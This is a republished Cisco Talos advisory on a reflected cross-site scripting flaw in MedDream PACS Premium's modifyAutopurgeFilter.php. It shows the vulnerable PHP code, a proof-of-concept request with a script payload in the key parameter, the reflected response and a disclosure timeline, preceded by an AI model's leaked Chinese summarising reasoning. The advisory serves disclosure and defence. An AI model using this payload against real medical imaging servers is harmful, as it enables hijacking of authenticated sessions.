MedDream PACS Premium modifyAutopurgeFilter reflected cross-site scripting (XSS) vulnerability
好的,我现在需要帮用户总结这篇文章的内容,控制在100个字以内。首先,我得仔细阅读文章,理解其中的关键点。 文章主要讲的是MedDream PACS Premium 7.3.6.870版本中的一个反射型跨站脚本(XSS)漏洞。漏洞存在于modifyAutopurgeFilter功能中,攻击者可以通过构造恶意URL来执行任意JavaScript代码。文章还提到了CVSSv3评分为6.1,属于中等风险。 接下来,我需要将这些信息浓缩到100字以内。要注意直接描述内容,不需要使用“这篇文章”之类的开头。重点包括漏洞类型、影响版本、攻击方式以及风险等级。 可能会这样组织语言:“MedDream PACS Premium 7.3.6.870版本存在反射型XSS漏洞,攻击者可通过构造恶意URL执行任意JavaScript代码,CVSSv3评分为6.1。” 检查一下字数是否在限制内,并确保所有关键信息都被涵盖。 </think> MedDream PACS Premium 7.3.6.870版本存在反射型XSS漏洞,攻击者可通过构造恶意URL执行任意JavaScript代码,CVSSv3评分为6.1。 2026-1-20 00:0:33 Author: talosintelligence.com(查看原文) 阅读量:0 收藏

SUMMARY

A reflected cross-site scripting (xss) vulnerability exists in the modifyAutopurgeFilter functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.6.870

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A post-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/modifyAutopurgeFilter.php script. The value of the key parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:

$result = NULL;
if (isset($_GET['key'])) {
    modifyEntryForm(urldecode($_GET['key'])); ////[1]
}

216
function modifyEntryForm($entry)
{
    $tokens = explode("|", $entry);
    $dir = $tokens[0];
    $tag = $tokens[1];
    $pattern = $tokens[2]; ///[2]
304

    } else {
        print "<h3><font color=red>";
        printf(pacsone_gettext("<u>Automatic Purging Filter for: (0x%08x) - %s not found in database!"), $tag, $pattern); ///[3]
        print "</font></h3>\n";
    }

The $key variable is set by the attacker and is fully controllable [1]. If specified key does not exist in the database, error message is presented containing specified by an attacker $pattern value (it is a part of $key variable [2]) [3]. Example of a malicious request and response containing injected HTML/JavaScript code:

GET /Pacs/modifyAutopurgeFilter.php?key=AAA|31337|%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sessionCookie=%20%A9%C7%FB%B1%7F2%8Cs%18%FE1%BD%E5%9E%2F%FBCB%F3S%BE%A6%EF%9E%A6%BEFe%FB%ED9; PHPSESSID=e57f22ea61aace53702ee3443fabe583; MEDDREAMSESSID=89F9D14757A096B63E147238A622FC72
Upgrade-Insecure-Requests: 1
Priority: u=0, i


RESP

HTTP/1.1 200 OK
Date: Wed, 20 Aug 2025 10:50:51 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 4548
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

(...)
<div class="contentBody">
<h3><font color=red><u>Automatic Purging Filter for: (0x00007a69) - <script>alert(1)</script> not found in database!</font></h3>
</div>
TIMELINE

2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release

Discovered by Marcin 'Icewall' Noga of Cisco Talos.


文章来源: https://talosintelligence.com/vulnerability_reports/TALOS-2025-2261
如有侵权请联系:admin#unsafe.sh